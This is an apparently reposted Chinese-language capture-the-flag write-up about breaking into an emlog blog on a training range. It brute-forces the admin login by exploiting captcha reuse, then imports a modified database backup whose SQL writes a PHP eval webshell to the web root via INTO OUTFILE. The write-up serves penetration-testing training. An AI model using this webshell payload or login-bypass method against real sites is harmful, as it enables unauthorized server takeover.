渗透测试-CMS网站数据库备份漏洞

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试-CMS网站数据库备份漏洞相关的知识,希望对你有一定的参考价值。

背景环境

背景介绍

安全工程师"墨者"的朋友搭建一个emlog个人博客系统,为了确保该系统的安全性,请你检测该系统是否存在安全漏洞。

实训目标

1、了解验证码绕过的相关知识;
2、了解后台地址扫描及其他相关漏洞资料;
3、了解后台常用账户密码的利用方式;

解题方向

进入后台,找到后台中可利用的地方getshell。

攻击过程

墨者学院在线靶机(动态地址): http://219.153.49.228:42047/

御剑扫描后台

老规矩,先上御剑扫描一波后台:

找到后台登录地址 http://219.153.49.228:42047/servlets/:

密码爆破

乍一看后台需要验证码,没法爆破。但是百度直接搜索emlog后台登录漏洞,发现emlog后台登录存在登录漏洞,验证码只要登录一次,就被记录了,没刷新销毁,导致可以BurpSuite直接暴力破解。

参考链接:https://blog.csdn.net/Fly_hps/article/details/80580771?utm_source=blogxgwz4

同时咱们还在主页已经发现用户mozhe777,和墨者666用户,猜测mozhe777是管理员用户,直接扔进BurpSuite进行爆破:

获得密码qwer1234,于是乎直接登录,进入后台:

登陆后台发现mozhe777果然是个高权限账号,同时发现这里有三个地方是可以Getshell的。

一个是插件漏洞,在上传插件的时候把大马一起压缩放在插件文件里面导致可以getshell,另外一个同理是导入模板漏洞,但是这两个漏洞在这里都不行。都是现实空间不支持zip模块,这时候只能通过数据库备份getshell了。

操纵数据库

点击数据库备份,下载.sql文件到本地:
接着在.sql文件末尾添加如下代码:

drop table if exists emlog_shell;
create table emlog_shell(`cmd` longtext not null);
insert into emlog_shell values("<?php @eval($_POST['c']);?>");
select cmd from emlog_shell into outfile '/var/www/html/11112.php';
drop table if exists emlog_shell;

解释下这段代码的意思:

  • 如果存在emlog_shell表就把它删了;
  • 然后重新创建一张表emlog_shell,而且只有字段cmd;
  • longtext类型且不为空,并且插入字段值<?php @eval($_POST['c']);?>,构成一句话木马;
  • 然后将cmd的值读出来outfile文件输出流输出到/var/www/html/a.php,然后把emlog_shell表删了。


此处把小马放在/var/www/html/a.php的路径下的原因是,emlog的默认phpinfo访问路径 /admin/?action=phpinfo, 这里把admin换成servlets,查到网站物理路径 /var/www/html/
往下拉查找:

接着咱们把修改完的sql文件导入到服务器中:

然后访问 http://219.153.49.228:42047/a.php ,没有报错(没有显示“File not found. ”),说明木马文件已存在:
那就直接上菜刀连接了:

成功连接并获得目标Key.txt文件:

渗透总结

  1. 网站后台地址的查找,如果尝试默认的管理后台地址不行的话,一般用工具扫下就能扫出来。
  2. 常见的管理后台的弱密码,如果猜不出来就只能用爆破了,前提是后台存在暴力破解漏洞。
  3. 后台getshell的方法,一般的都是上传漏洞,编辑器漏洞或者是数据库备份漏洞,还有插件漏洞或者模板漏洞

以上是关于渗透测试-CMS网站数据库备份漏洞的主要内容,如果未能解决你的问题,请参考以下文章

太暴力了!渗透测试面试题,全程干货(建议收藏)

靶场测试--安鸾渗透实战平台

刚入职字节渗透岗,学弟非拖着我总结下面试...

刚入职字节渗透岗,学弟非拖着我总结下面试...

刚入职字节渗透岗,学弟非拖着我总结下面试...

测试网站搭建+渗透+审计之第二篇渗透测试